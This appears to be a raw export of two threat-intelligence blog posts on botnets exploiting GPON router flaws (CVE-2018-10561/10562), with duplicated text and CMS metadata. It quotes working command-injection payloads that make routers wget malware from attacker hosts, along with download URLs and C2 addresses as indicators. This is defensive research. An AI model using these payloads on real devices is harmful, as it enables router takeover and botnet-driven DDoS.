hxxp://185.246.152.173/bins/s-owari.arm7 hxxp://185.246.152.173/bins/owari.spc hxxp://185.246.152.173/bins/owari.sh4 hxxp://185.246.152.173/bins/owari.mips hxxp://185.246.152.173/bins/owari.m68k hxxp://185.246.152.173/bins/owari.arm hxxp://185.246.152.173/bins/owari.arm7 hxxp://185.246.152.173/bins/nocpu.x86 hxxp://185.246.152.173/bins/nocpu.mips hxxp://185.246.152.173/41ai.sh </code></pre> <!--kg-card-end: markdown-->

This article was co-authored by Hui Wang, LIU Ya, Rootkiter and Yegenshen. In our previous articles I and II of this series, we mentioned that since the expose of the GPON vulnerabilities (CVE-2018-10561, CVE-2018-10562), there have been at least five botnet families actively exploiting this vulnerability to build their bot army within the first 10 days. Those includes mettle, muhstik, mirai, hajime, satori, and so on. They rushed up and competed for territory, providing IoT botnet researchers with an excellent opportunity for close observation. In our observation, one interesting point is that the exploit code of each botnet can only affect a small part (estimated approximately 2%) of GPON home routers. As a result, the number of devices that were eventually implanted was greatly reduced, and the majority of GPON home router users survived. However, administrators still need to be vigilant, because the malicious code are under active development, and code revisions will only take a short time. While keeping our observations, we also have taken action to curb the proliferation of muhstik botnets together with the security community. But muhstik malicious campaign are not willing to give up easily. They tried to come back again and again. Our readers may stay tuned. In this article, we will introduce other botnets in turn: * Mettle: A malicious campaign based on IP addresses in Vietnam (C2 210.245.26.180:4441, scanner 118.70.80.143) and mettle open source control module * Hajime: This round of update from Hajime also includes GPON exploits. * Two Mirai variants: At least two malicious campaigns are actively exploiting this vulnerability to propagate mirai variants. The second one is already known as Omni. * Imgay: This looks like a botnet under development. We only observe its download behavior and no more follow-up actions. Mettle Botnet As we mentioned before, Mettle botnet's C2 became offline soon after this round attack. The features of this malicious campaign include: * Scanner IP: 118.70.80.143 Vietnam/VN Hanoi "AS18403 The Corporation for Financing & Promoting Technology" * C2 Server: 210.245.26.180:4441 Vietnam/VN Ho Chi Minh City "AS18403 The Corporation for Financing & Promoting Technology" * Download Server: 210:245.26.180:80 * Malware (Downloader) sample hash: 8e2c6a92a024f8b8bb3c086b86fa50f9 * The above downloader will first download mettle (an opensource penetration testing tool derived from Metasploit), and then the target device will be controlled by the C2 server Besides, after exploitation, the attacker will also modify iptables rule on GPON routers to block TCP port 80 and 443 traffic, which is probably trying to prevent intruding by other malwares. Part of iptables rule are as follows: -A ACL -p tcp -m tcp --dport 80 -j DROP -A ACL -p tcp -m tcp --dport 23 -j DROP -A ACL -p tcp -m tcp --dport 22 -j DROP -A ACL -p tcp -m tcp --dport 21 -j DROP -A ACL -p tcp -m tcp --dport 443 -j DROP We haven't observed any mettle attack payload yet, however, we do notice that its IP addresses were related to other malware in the past. Hajime Botnet The features of this round of Hajime update are: * Filename：atk.mipseb.1525838286 * Origin Hash: 8CCA32FB1FE4826007B087B4AEE20941 * Packed Hash: ED1306E24196533553571D5433312A2D * Unpacked Hash: E06E1E7993EA310CE0FBA9DD76CDF377 * Target port：23,80,8080 * New Payload(GPON)：hxxps://www.exploit-db.com/exploits/44576/ The following figure shows the GPON exploit code in Hajime sample: The updated atk.mpseb module can launch scanning on port 23, 80 and 8080 simultaneously. Mirai Variant 1 Its features include: * Scanner IP : 46.243.189.60 Netherlands/NL "AS205406 Hostio Solutions B.V." * C2 Server : 46.243.189.102:127 Netherlands/NL "AS205406 Hostio Solutions B.V." * Download Server ：46.243.189.102:80 * Malware sample hash: c6dc9f7cf09a267fefe53c5c481e7ea0 The attack payload are as follow: POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2 Host: {target} Accept: */* Content-Length: 138 Content-Type: application/x-www-form-urlencoded XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+hxxp://46.243.189.102/`;busybox+wget+hxxp://46.243.189.102/&ipv=0 We have been monitoring the C2 server of this Mirai variant for quite a long time. The C2 is really active and have sent quite a number of DDoS attack commands. The first time we saw its DDoS commmand was 2018-01-26 13:10:20. The following figure shows the daily number of its attack commands: For the victims, we only list parts of popular attacked sites below, including: check-host.net, incapsula.com, moz.com, opskins.com, pastebin.com, roblox.com, seznam.cz, store.playstation.com, www.kinguin.net, etc: Mirai Variant 2 - Omni Researchers at newskysecurity have already named the Mirai variant Omni, and their description is consistent with our observations In this round of attack, the Omni botnet uses following attack payload: POST /GponForm/diag_Form?images/ HTTP/1.1 Host: {target} Content-Length: 120 User-Agent: python-requests/2.6.0 CPython/2.7.5 Linux/4.4.127-mainline-rev1 Connection: keep-alive Accept: */* Accept-Encoding: gzip, deflate XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+hxxp://185.246.152.173/omni+-O+/tmp/talk`&ipv=0 This botnet's features include: * Download server URL ：hxxp://185.246.152.173/omni * C2 server：185.246.152.173:1000 * Scanner IP：51.15.106.135 This C2 has historically spread multiple Mirai variants, including Owari, XOwari, S-owari, Sora, and Omni. The malware samples came from this C2 supports multiple CPU architectures, in addition to the usually supported CPU like Arm, Mips, Mpsl, Mipsl, X86, and Sparc, they also supports the ARC CPU which once widely concerned by the community. Another interesting point is the two messages that the botnet author released to the outside world. One message is saved on the c2 server (hxxp://185.246.152.173/meme). Currently this URL is not accessible. We have a history screenshot as follows. The main body of the page is a photo from the movie "The Matrix" combined with a head of famous security blogger Brian Krebs: The text of the page is as follows. It contains an email address：[email protected]. Note that this is not Brian Krebs’s email address. Hey you, stop right there! Want your router fixed? No problem! Send an email to [email protected] and we will have it fixed asap! ~ scarface is your daddy ~ Another piece of message is saved in the sample, containing a twitter account @1337Wicked : md5hash: 5A8F7B3E3A981BBDD42AEE4DA6EEAAB8 message: Botnet officially ran by Ankit Anubhav and hosted on newskysecurity.com [If your reversing this follow @1337Wicked on twitter Imgay Botnet Imgay is another botnet，the malicious code URL it spreads is as follows: hxxp://149.28.96.126/imgay The malicious code accesses the following addresses, but then the it ends and no more activity is seen. wget hxxp://149.28.96.126/loaded/killy > /dev/null 2>&1 wget hxxp://149.28.96.126/pid_max/%s > /dev/null 2>&1 wget hxxp://149.28.96.126/pid_max/default > /dev/null 2>&1 wget hxxp://149.28.96.126/killed/%i > /dev/null 2>&1 Contact Us We can be reached at twitter or at WeChat subscription account 360Netlab. Ioc Mettle 118.70.80.143 Vietnam/VN Hanoi "AS18403 The Corporation for Financing & Promoting Technology" scanner IP 210.245.26.180:4441 Vietnam/VN Ho Chi Minh City "AS18403 The Corporation for Financing & Promoting Technology" c2 8e2c6a92a024f8b8bb3c086b86fa50f9 malware hash Hajime atk.mipseb.1525838286 file name 8CCA32FB1FE4826007B087B4AEE20941 hash original ED1306E24196533553571D5433312A2D hash before unpack E06E1E7993EA310CE0FBA9DD76CDF377 hash after unpack Mira variant #1 46.243.189.60 Netherlands/NL "AS205406 Hostio Solutions B.V." scanner IP 46.243.189.102:127 Netherlands/NL "AS205406 Hostio Solutions B.V." C2 ip c6dc9f7cf09a267fefe53c5c481e7ea0 malware hash Omni 185.246.152.173:1000 Netherlands/NL "AS56630 Melbikomas UAB" C2 51.15.106.135 France/FR "AS12876 Online S.a.s." scanner IP hxxp://185.246.152.173/omni malware download URL Omni malware download URLs in all the past hxxp://185.246.152.173:80/bins/spc.omni hxxp://185.246.152.173:80/bins/sora.spc hxxp://185.246.152.173:80/bins/sora.sh4 hxxp://185.246.152.173:80/bins/sora.arm6 hxxp://185.246.152.173:80/bins/sora.arm5 hxxp://185.246.152.173:80/bins/s-owari.spc hxxp://185.246.152.173:80/bins/s-owari.mpsl hxxp://185.246.152.173:80/bins/s-owari.m68k hxxp://185.246.152.173:80/bins/s-owari.arm hxxp://185.246.152.173:80/bins/s-owari.arm7 hxxp://185.246.152.173:80/bins/s-owari.arc hxxp://185.246.152.173:80/bins/owari.x86 hxxp://185.246.152.173:80/bins/owari.spc hxxp://185.246.152.173:80/bins/owari.mpsl hxxp://185.246.152.173:80/bins/owari.mips hxxp://185.246.152.173:80/bins/owari.i586 hxxp://185.246.152.173:80/bins/owari.arm hxxp://185.246.152.173:80/bins/owari.arm7 hxxp://185.246.152.173:80/bins/owari.arm5 hxxp://185.246.152.173:80/bins/owari.arm4 hxxp://185.246.152.173:80/bins/mpsl.omni hxxp://185.246.152.173:80/bins/mips.owari hxxp://185.246.152.173:80/bins/mips.omni hxxp://185.246.152.173:80/bins/arm7.omni hxxp://185.246.152.173:80/bins/arm6.omni hxxp://185.246.152.173:80/bins/arc.omni hxxp://185.246.152.173:80/bins/Owari.x86 hxxp://185.246.152.173:80/bins/Owari.spc hxxp://185.246.152.173:80/bins/Owari.sh4 hxxp://185.246.152.173:80/bins/Owari.mpsl hxxp://185.246.152.173:80/bins/Owari.mips1 hxxp://185.246.152.173:80/bins/Owari.m68k hxxp://185.246.152.173:80/bins/Owari.arm7 hxxp://185.246.152.173:80/bins/Owari.arm6 hxxp://185.246.152.173/xOwari.sh hxxp://185.246.152.173/bins/x86.omni hxxp://185.246.152.173/bins/scan.x86 hxxp://185.246.152.173/bins/s-owari.ppc hxxp://185.246.152.173/bins/s-owari.mpsl hxxp://185.246.152.173/bins/s-owari.arm hxxp://185.246.152.173/bins/s-owari.arm7 hxxp://185.246.152.173/bins/owari.spc hxxp://185.246.152.173/bins/owari.sh4 hxxp://185.246.152.173/bins/owari.mips hxxp://185.246.152.173/bins/owari.m68k hxxp://185.246.152.173/bins/owari.arm hxxp://185.246.152.173/bins/owari.arm7 hxxp://185.246.152.173/bins/nocpu.x86 hxxp://185.246.152.173/bins/nocpu.mips hxxp://185.246.152.173/41ai.sh

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"This article was co-authored by Hui Wang, LIU Ya, Rootkiter and Yegenshen.\n\nIn our previous articles [I](__GHOST_URL__/gpon-exploit-in-the-wild-i-muhstik-botnet-among-others/) and [II](__GHOST_URL__/gpon-exploit-in-the-wild-ii-satori-botnet/) of this series, we mentioned that since the expose of the GPON vulnerabilities (CVE-2018-10561, CVE-2018-10562), there have been at least five botnet families actively exploiting this vulnerability to build their bot army within the first 10 days. Those includes mettle, muhstik, mirai, hajime, satori, and so on. They rushed up and competed for territory, providing IoT botnet researchers with an excellent opportunity for close observation.\n\nIn our observation, one interesting point is that the exploit code of each botnet can only affect a small part (estimated approximately 2%) of GPON home routers. As a result, the number of devices that were eventually implanted was greatly reduced, and the majority of GPON home router users survived. However, administrators still need to be vigilant, because the malicious code are under active development, and code revisions will only take a short time.\n\nWhile keeping our observations, we also have taken action to curb the proliferation of muhstik botnets together with the security community. But muhstik malicious campaign are not willing to give up easily. They tried to come back again and again. Our readers may stay tuned.\n\nIn this article, we will introduce other botnets in turn:\n\n - **Mettle**: A malicious campaign based on IP addresses in Vietnam (C2 210.245.26.180:4441, scanner 118.70.80.143) and mettle open source control module\n - **Hajime**: This round of update from **Hajime** also includes GPON exploits.\n - **Two Mirai variants**: At least two malicious campaigns are actively exploiting this vulnerability to propagate mirai variants. The second one is already known as [Omni](https://blog.newskysecurity.com/cve-2018-10561-dasan-gpon-exploit-weaponized-in-omni-and-muhstik-botnets-ad7b1f89cff3).\n - **Imgay**: This looks like a botnet under development. We only observe its download behavior and no more follow-up actions.\n\n#### Mettle Botnet\n\nAs we mentioned before, Mettle botnet's C2 became offline soon after this round attack. The features of this malicious campaign include:\n\n - **Scanner IP**: 118.70.80.143 Vietnam/VN Hanoi\t\"AS18403 The Corporation for Financing & Promoting Technology\"\n - **C2 Server**: 210.245.26.180:4441 Vietnam/VN Ho Chi Minh City\t\"AS18403 The Corporation for Financing & Promoting Technology\"\n - **Download Server**: 210:245.26.180:80\n - **Malware (Downloader) sample hash**: 8e2c6a92a024f8b8bb3c086b86fa50f9\n - The above downloader will first download **mettle** (an opensource penetration testing tool derived from Metasploit), and then the target device will be controlled by the C2 server\n\nBesides, after exploitation, the attacker will also modify iptables rule on GPON routers to block TCP port 80 and 443 traffic, which is probably trying to prevent intruding by other malwares. Part of iptables rule are as follows:\n```\n-A ACL -p tcp -m tcp --dport 80 -j DROP\n-A ACL -p tcp -m tcp --dport 23 -j DROP\n-A ACL -p tcp -m tcp --dport 22 -j DROP\n-A ACL -p tcp -m tcp --dport 21 -j DROP \n-A ACL -p tcp -m tcp --dport 443 -j DROP\n```\n\nWe haven't observed any mettle attack payload yet, however, we do notice that its IP addresses were related to other malware in the past.\n\n#### Hajime Botnet\nThe features of this round of Hajime update are:\n\n - **Filename**：atk.mipseb.1525838286 \n - **Origin Hash**: 8CCA32FB1FE4826007B087B4AEE20941\n - **Packed Hash**: ED1306E24196533553571D5433312A2D\n - **Unpacked Hash**: E06E1E7993EA310CE0FBA9DD76CDF377\n - **Target port**：23,80,8080\n - **New Payload(GPON)**：hxxps://www.exploit-db.com/exploits/44576/ \n\nThe following figure shows the GPON exploit code in Hajime sample:\n\n\nThe updated atk.mpseb module can launch scanning on port 23, 80 and 8080 simultaneously.\n\n\n#### Mirai Variant 1\n\nIts features include:\n\n - **Scanner IP** : 46.243.189.60 Netherlands/NL \"AS205406 Hostio Solutions B.V.\"\n - **C2 Server** : 46.243.189.102:127 Netherlands/NL \"AS205406 Hostio Solutions B.V.\"\n - **Download Server** ：46.243.189.102:80\n - **Malware sample hash**: c6dc9f7cf09a267fefe53c5c481e7ea0\n\nThe attack payload are as follow:\n```\nPOST /GponForm/diag_Form?images/ HTTP/1.1\nUser-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2\nHost: {target}\nAccept: */*\nContent-Length: 138\nContent-Type: application/x-www-form-urlencoded\n\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+hxxp://46.243.189.102/`;busybox+wget+hxxp://46.243.189.102/&ipv=0\n```\n\nWe have been monitoring the C2 server of this Mirai variant for quite a long time. The C2 is really active and have sent quite a number of DDoS attack commands. The first time we saw its DDoS commmand was 2018-01-26 13:10:20. The following figure shows the daily number of its attack commands:\n\n\n\nFor the victims, we only list parts of popular attacked sites below, including: check-host.net, incapsula.com, moz.com, opskins.com, pastebin.com, roblox.com, seznam.cz, store.playstation.com, www.kinguin.net, etc:\n\n\n\n#### Mirai Variant 2 - Omni\n\nResearchers at newskysecurity have already named the Mirai variant [Omni](https://blog.newskysecurity.com/cve-2018-10561-dasan-gpon-exploit-weaponized-in-omni-and-muhstik-botnets-ad7b1f89cff3), and their description is consistent with our observations\n\nIn this round of attack, the Omni botnet uses following attack payload:\n```\nPOST /GponForm/diag_Form?images/ HTTP/1.1\nHost: {target}\nContent-Length: 120\nUser-Agent: python-requests/2.6.0 CPython/2.7.5 Linux/4.4.127-mainline-rev1\nConnection: keep-alive\nAccept: */*\nAccept-Encoding: gzip, deflate\n\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+hxxp://185.246.152.173/omni+-O+/tmp/talk`&ipv=0\n```\n\nThis botnet's features include:\n\n - **Download server URL** ：hxxp://185.246.152.173/omni\n - **C2 server**：185.246.152.173:1000\n - **Scanner IP**：51.15.106.135\n\nThis C2 has historically spread multiple Mirai variants, including Owari, XOwari, S-owari, Sora, and Omni. The malware samples came from this C2 supports multiple CPU architectures, in addition to the usually supported CPU like Arm, Mips, Mpsl, Mipsl, X86, and Sparc, they also supports the ARC CPU which once widely concerned by the community.\n\nAnother interesting point is the two messages that the botnet author released to the outside world. One message is saved on the c2 server (hxxp://185.246.152.173/meme). Currently this URL is not accessible. We have a history screenshot as follows. The main body of the page is a photo from the movie \"The Matrix\" combined with a head of famous security blogger [Brian Krebs](https://krebsonsecurity.com/):\n\n\n\nThe text of the page is as follows. It contains an email address：[email protected]. Note that this is not Brian Krebs’s email address.\n```\nHey you, stop right there!\nWant your router fixed? No problem! Send an email to [email protected] and we will have it fixed asap!\n~ scarface is your daddy ~\n```\n\nAnother piece of message is saved in the sample, containing a twitter account @1337Wicked :\n\n```\nmd5hash: 5A8F7B3E3A981BBDD42AEE4DA6EEAAB8\nmessage: Botnet officially ran by Ankit Anubhav and hosted on newskysecurity.com [If your reversing this follow @1337Wicked on twitter\n```\n\n#### Imgay Botnet\n\nImgay is another botnet，the malicious code URL it spreads is as follows:\n```\nhxxp://149.28.96.126/imgay\n```\n\nThe malicious code accesses the following addresses, but then the it ends and no more activity is seen.\n```\nwget hxxp://149.28.96.126/loaded/killy > /dev/null 2>&1\nwget hxxp://149.28.96.126/pid_max/%s > /dev/null 2>&1\nwget hxxp://149.28.96.126/pid_max/default > /dev/null 2>&1\nwget hxxp://149.28.96.126/killed/%i > /dev/null 2>&1\n```\n\n\n#### Contact Us\n\nWe can be reached at [**twitter**](https://twitter.com/360Netlab) or at WeChat subscription account **360Netlab**.\n\n####Ioc\n\nMettle\n```\n118.70.80.143 Vietnam/VN Hanoi \"AS18403 The Corporation for Financing & Promoting Technology\" scanner IP\n210.245.26.180:4441 Vietnam/VN Ho Chi Minh City \"AS18403 The Corporation for Financing & Promoting Technology\" c2\n8e2c6a92a024f8b8bb3c086b86fa50f9 malware hash\n```\n\nHajime\n```\natk.mipseb.1525838286 file name\n8CCA32FB1FE4826007B087B4AEE20941 hash original\nED1306E24196533553571D5433312A2D hash before unpack\nE06E1E7993EA310CE0FBA9DD76CDF377 hash after unpack\n```\n\nMira variant #1\n```\n46.243.189.60 Netherlands/NL \"AS205406 Hostio Solutions B.V.\" scanner IP\n46.243.189.102:127 Netherlands/NL \"AS205406 Hostio Solutions B.V.\" C2 ip\nc6dc9f7cf09a267fefe53c5c481e7ea0 malware hash\n```\n\nOmni\n```\n185.246.152.173:1000 Netherlands/NL \"AS56630 Melbikomas UAB\" C2 \n51.15.106.135 France/FR\t\"AS12876 Online S.a.s.\" scanner IP\nhxxp://185.246.152.173/omni malware download URL\n```\n\nOmni malware download URLs in all the past\n```\nhxxp://185.246.152.173:80/bins/spc.omni\nhxxp://185.246.152.173:80/bins/sora.spc\nhxxp://185.246.152.173:80/bins/sora.sh4\nhxxp://185.246.152.173:80/bins/sora.arm6\nhxxp://185.246.152.173:80/bins/sora.arm5\nhxxp://185.246.152.173:80/bins/s-owari.spc\nhxxp://185.246.152.173:80/bins/s-owari.mpsl\nhxxp://185.246.152.173:80/bins/s-owari.m68k\nhxxp://185.246.152.173:80/bins/s-owari.arm\nhxxp://185.246.152.173:80/bins/s-owari.arm7\nhxxp://185.246.152.173:80/bins/s-owari.arc\nhxxp://185.246.152.173:80/bins/owari.x86\nhxxp://185.246.152.173:80/bins/owari.spc\nhxxp://185.246.152.173:80/bins/owari.mpsl\nhxxp://185.246.152.173:80/bins/owari.mips\nhxxp://185.246.152.173:80/bins/owari.i586\nhxxp://185.246.152.173:80/bins/owari.arm\nhxxp://185.246.152.173:80/bins/owari.arm7\nhxxp://185.246.152.173:80/bins/owari.arm5\nhxxp://185.246.152.173:80/bins/owari.arm4\nhxxp://185.246.152.173:80/bins/mpsl.omni\nhxxp://185.246.152.173:80/bins/mips.owari\nhxxp://185.246.152.173:80/bins/mips.omni\nhxxp://185.246.152.173:80/bins/arm7.omni\nhxxp://185.246.152.173:80/bins/arm6.omni\nhxxp://185.246.152.173:80/bins/arc.omni\nhxxp://185.246.152.173:80/bins/Owari.x86\nhxxp://185.246.152.173:80/bins/Owari.spc\nhxxp://185.246.152.173:80/bins/Owari.sh4\nhxxp://185.246.152.173:80/bins/Owari.mpsl\nhxxp://185.246.152.173:80/bins/Owari.mips1\nhxxp://185.246.152.173:80/bins/Owari.m68k\nhxxp://185.246.152.173:80/bins/Owari.arm7\nhxxp://185.246.152.173:80/bins/Owari.arm6\nhxxp://185.246.152.173/xOwari.sh\nhxxp://185.246.152.173/bins/x86.omni\nhxxp://185.246.152.173/bins/scan.x86\nhxxp://185.246.152.173/bins/s-owari.ppc\nhxxp://185.246.152.173/bins/s-owari.mpsl\nhxxp://185.246.152.173/bins/s-owari.arm\nhxxp://185.246.152.173/bins/s-owari.arm7\nhxxp://185.246.152.173/bins/owari.spc\nhxxp://185.246.152.173/bins/owari.sh4\nhxxp://185.246.152.173/bins/owari.mips\nhxxp://185.246.152.173/bins/owari.m68k\nhxxp://185.246.152.173/bins/owari.arm\nhxxp://185.246.152.173/bins/owari.arm7\nhxxp://185.246.152.173/bins/nocpu.x86\nhxxp://185.246.152.173/bins/nocpu.mips\nhxxp://185.246.152.173/41ai.sh\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

122

post

2018-05-21T10:09:55.000Z

63873b9a8b1c1e0007f52f29

gpon-exploit-in-the-wild-iv-themoon-botnet-join-in-with-a-0day

2018-10-06T09:13:20.000Z

public

published

2018-05-21T10:45:59.000Z

GPON Exploit in the Wild (IV) - TheMoon Botnet Join in with a 0day(?)

<!--kg-card-begin: markdown--><p>This article was co-authored by Hui Wang, Rootkiter and Yegenshen.</p> <p>It looks like this GPON party will never end. We just found TheMoon botnet has join the party.</p> <p>TheMoon botnet has been discussed in our previous <a href="__GHOST_URL__/themoon-botnet-a-review-and-new-features/">article</a>, in Chinese. Its activity can be seen as early as in 2014, and since 2017 it has merged at least 6 IoT device exploits into it's code. Now it comes to GPON home router.</p> <p>A very special thing about this round is the attacking payload. It is different from all previous ones, so it looks like a <strong>0day</strong>. And we tested this payload on two different versions of GPON home router, all work. All these make TheMoon totally different, and we chose <strong>NOT</strong> to disclose the attack payload details.</p> <p>The features about this round of TheMoon:</p> <ul> <li><strong>Scanner IP</strong>: 177.141.64.108 Brazil/BR São Paulo &quot;AS28573 CLARO S.A.&quot;</li> <li><strong>Scanning Port</strong>：80 ，8080，81，82，8888, with the GPON scan only on port <strong>80</strong></li> <li><strong>Download Server</strong>: domstates.su</li> <li><strong>C2 Server</strong>: <ul> <li>91.215.158.118 Netherlands/NL Amsterdam &quot;AS60144 3W Infra B.V.&quot;</li> <li>149.202.211.227 France/FR Fontenay-sous-Bois &quot;AS16276 OVH SAS&quot;</li> <li>208.110.66.34 United States/US Kansas City &quot;AS32097 WholeSale Internet, Inc.&quot;</li> <li>173.208.219.42 United States/US Kansas City &quot;AS32097 WholeSale Internet, Inc.&quot;</li> </ul> </li> </ul> <p>The download server is the same to the one in our previous blog. This is why we attribute this round of attack to TheMoon botnet.</p> <p>Attacking Payload (masked):</p> <pre><code>POST /--------/--------?---------/ HTTP/1.1 Accept: */* Host: {} User-Agent: Wget(linux) Content-Length: 287 Content-Type: application/x-www-form-urlencoded ------------------------------------------------------------- hxxp://domstates.su/gpon.sh </code></pre> <p>The character of TheMoon botnet can be summarized in the following json:</p> <pre><code>&quot;nttpd,1-mips-be-t3-z&quot;:{ &quot;proto&quot; :&quot;TCP&quot;, &quot;version&quot; :1, &quot;regkey&quot; :0xB8, # previous 0xb7 &quot;specific&quot;:0x6D61641D, # previous 0x6D61641C &quot;regport&quot; :5784, # previous 5783 &quot;ccport&quot; :5184, # previous 5183 &quot;dwlport&quot; :4584, # previous 4583 &quot;peerlist&quot;:[ &quot;91.215.158.118&quot;, # 0x5BD79E76 # C2, not changed &quot;149.202.211.227&quot;,# 0x95CAD3E3 # C2, not changed &quot;208.110.66.34&quot;, # 0xD06E4222 # C2, not changed &quot;173.208.219.42&quot;, # 0xADD0DB2A # C2, not changed ] } </code></pre> <h4 id="ioc">IoC</h4> <p>Downloading URL</p> <pre><code>md5=17fb1bfae44a9008a4c9b4bdc6b327bd url=hxxp://domstates.su/.nttpd,1-mips-be-t3-z md5=299919e8a5b4c8592db0c47207935b69 url=hxxp://domstates.su/gpon.sh </code></pre> <p>C2</p> <pre><code>91.215.158.118 Netherlands/NL Amsterdam &quot;AS60144 3W Infra B.V.&quot; 149.202.211.227 France/FR Fontenay-sous-Bois &quot;AS16276 OVH SAS&quot; 208.110.66.34 United States/US Kansas City &quot;AS32097 WholeSale Internet, Inc.&quot; 173.208.219.42 United States/US Kansas City &quot;AS32097 WholeSale Internet, Inc.&quot; </code></pre> <p>Scanner IP</p> <pre><code>177.141.64.108 Brazil/BR São Paulo &quot;AS28573 CLARO S.A.&quot; </code></pre> <!--kg-card-end: markdown-->

This article was co-authored by Hui Wang, Rootkiter and Yegenshen. It looks like this GPON party will never end. We just found TheMoon botnet has join the party. TheMoon botnet has been discussed in our previous article, in Chinese. Its activity can be seen as early as in 2014, and since 2017 it has merged at least 6 IoT device exploits into it's code. Now it comes to GPON home router. A very special thing about this round is the attacking payload. It is different from all previous ones, so it looks like a 0day. And we tested this payload on two different versions of GPON home router, all work. All these make TheMoon totally different, and we chose NOT to disclose the attack payload details. The features about this round of TheMoon: * Scanner IP: 177.141.64.108 Brazil/BR São Paulo "AS28573 CLARO S.A." * Scanning Port：80 ，8080，81，82，8888, with the GPON scan only on port 80 * Download Server: domstates.su * C2 Server: * 91.215.158.118 Netherlands/NL Amsterdam "AS60144 3W Infra B.V." * 149.202.211.227 France/FR Fontenay-sous-Bois "AS16276 OVH SAS" * 208.110.66.34 United States/US Kansas City "AS32097 WholeSale Internet, Inc." * 173.208.219.42 United States/US Kansas City "AS32097 WholeSale Internet, Inc." The download server is the same to the one in our previous blog. This is why we attribute this round of attack to TheMoon botnet. Attacking Payload (masked): POST /--------/--------?---------/ HTTP/1.1 Accept: */* Host: {} User-Agent: Wget(linux) Content-Length: 287 Content-Type: application/x-www-form-urlencoded ------------------------------------------------------------- hxxp://domstates.su/gpon.sh The character of TheMoon botnet can be summarized in the following json: "nttpd,1-mips-be-t3-z":{ "proto" :"TCP", "version" :1, "regkey" :0xB8, # previous 0xb7 "specific":0x6D61641D, # previous 0x6D61641C "regport" :5784, # previous 5783 "ccport" :5184, # previous 5183 "dwlport" :4584, # previous 4583 "peerlist":[ "91.215.158.118", # 0x5BD79E76 # C2, not changed "149.202.211.227",# 0x95CAD3E3 # C2, not changed "208.110.66.34", # 0xD06E4222 # C2, not changed "173.208.219.42", # 0xADD0DB2A # C2, not changed ] } IoC Downloading URL md5=17fb1bfae44a9008a4c9b4bdc6b327bd url=hxxp://domstates.su/.nttpd,1-mips-be-t3-z md5=299919e8a5b4c8592db0c47207935b69 url=hxxp://domstates.su/gpon.sh C2 91.215.158.118 Netherlands/NL Amsterdam "AS60144 3W Infra B.V." 149.202.211.227 France/FR Fontenay-sous-Bois "AS16276 OVH SAS" 208.110.66.34 United States/US Kansas City "AS32097 WholeSale Internet, Inc." 173.208.219.42 United States/US Kansas City "AS32097 WholeSale Internet, Inc." Scanner IP 177.141.64.108 Brazil/BR São Paulo "AS28573 CLARO S.A."

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"This article was co-authored by Hui Wang, Rootkiter and Yegenshen.\n\nIt looks like this GPON party will never end. We just found TheMoon botnet has join the party.\n\nTheMoon botnet has been discussed in our previous [article](__GHOST_URL__/themoon-botnet-a-review-and-new-features/), in Chinese. Its activity can be seen as early as in 2014, and since 2017 it has merged at least 6 IoT device exploits into it's code. Now it comes to GPON home router.\n\nA very special thing about this round is the attacking payload. It is different from all previous ones, so it looks like a **0day**. And we tested this payload on two different versions of GPON home router, all work. All these make TheMoon totally different, and we chose **NOT** to disclose the attack payload details.\n\nThe features about this round of TheMoon:\n\n - **Scanner IP**: 177.141.64.108 Brazil/BR São Paulo \"AS28573 CLARO S.A.\"\n - **Scanning Port**：80 ，8080，81，82，8888, with the GPON scan only on port **80**\n - **Download Server**: domstates.su\n - **C2 Server**:\n - 91.215.158.118 Netherlands/NL Amsterdam\t\"AS60144 3W Infra B.V.\"\n - 149.202.211.227 France/FR Fontenay-sous-Bois\t\"AS16276 OVH SAS\"\n - 208.110.66.34 United States/US Kansas City\t\"AS32097 WholeSale Internet, Inc.\"\n - 173.208.219.42 United States/US Kansas City\t\"AS32097 WholeSale Internet, Inc.\"\n\nThe download server is the same to the one in our previous blog. This is why we attribute this round of attack to TheMoon botnet.\n\nAttacking Payload (masked):\n```\nPOST /--------/--------?---------/ HTTP/1.1 \nAccept: */* \nHost: {} \nUser-Agent: Wget(linux) \nContent-Length: 287 \nContent-Type: application/x-www-form-urlencoded \n-------------------------------------------------------------\nhxxp://domstates.su/gpon.sh \n```\n\nThe character of TheMoon botnet can be summarized in the following json:\n```\n\"nttpd,1-mips-be-t3-z\":{\n \"proto\" :\"TCP\",\n \"version\" :1,\n \"regkey\" :0xB8, # previous 0xb7\n \"specific\":0x6D61641D, # previous 0x6D61641C\n \"regport\" :5784, # previous 5783\n \"ccport\" :5184, # previous 5183\n \"dwlport\" :4584, # previous 4583\n \"peerlist\":[\n \"91.215.158.118\", # 0x5BD79E76 # C2, not changed\n \"149.202.211.227\",# 0x95CAD3E3 # C2, not changed\n \"208.110.66.34\", # 0xD06E4222 # C2, not changed\n \"173.208.219.42\", # 0xADD0DB2A # C2, not changed\n ] \n }\n```\n\n####IoC\nDownloading URL\n```\nmd5=17fb1bfae44a9008a4c9b4bdc6b327bd url=hxxp://domstates.su/.nttpd,1-mips-be-t3-z \nmd5=299919e8a5b4c8592db0c47207935b69 url=hxxp://domstates.su/gpon.sh \n```\n\nC2\n```\n91.215.158.118 Netherlands/NL Amsterdam\t\"AS60144 3W Infra B.V.\"\n149.202.211.227 France/FR Fontenay-sous-Bois\t\"AS16276 OVH SAS\"\n208.110.66.34 United States/US Kansas City\t\"AS32097 WholeSale Internet, Inc.\"\n173.208.219.42 United States/US Kansas City\t\"AS32097 WholeSale Internet, Inc.\"\n```\n\nScanner IP\n```\n177.141.64.108 Brazil/BR São Paulo\t\"AS28573 CLARO S.A.\"\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

123

post

2018-06-15T11:03:23.000Z

63873b9a8b1c1e0007f52f2a

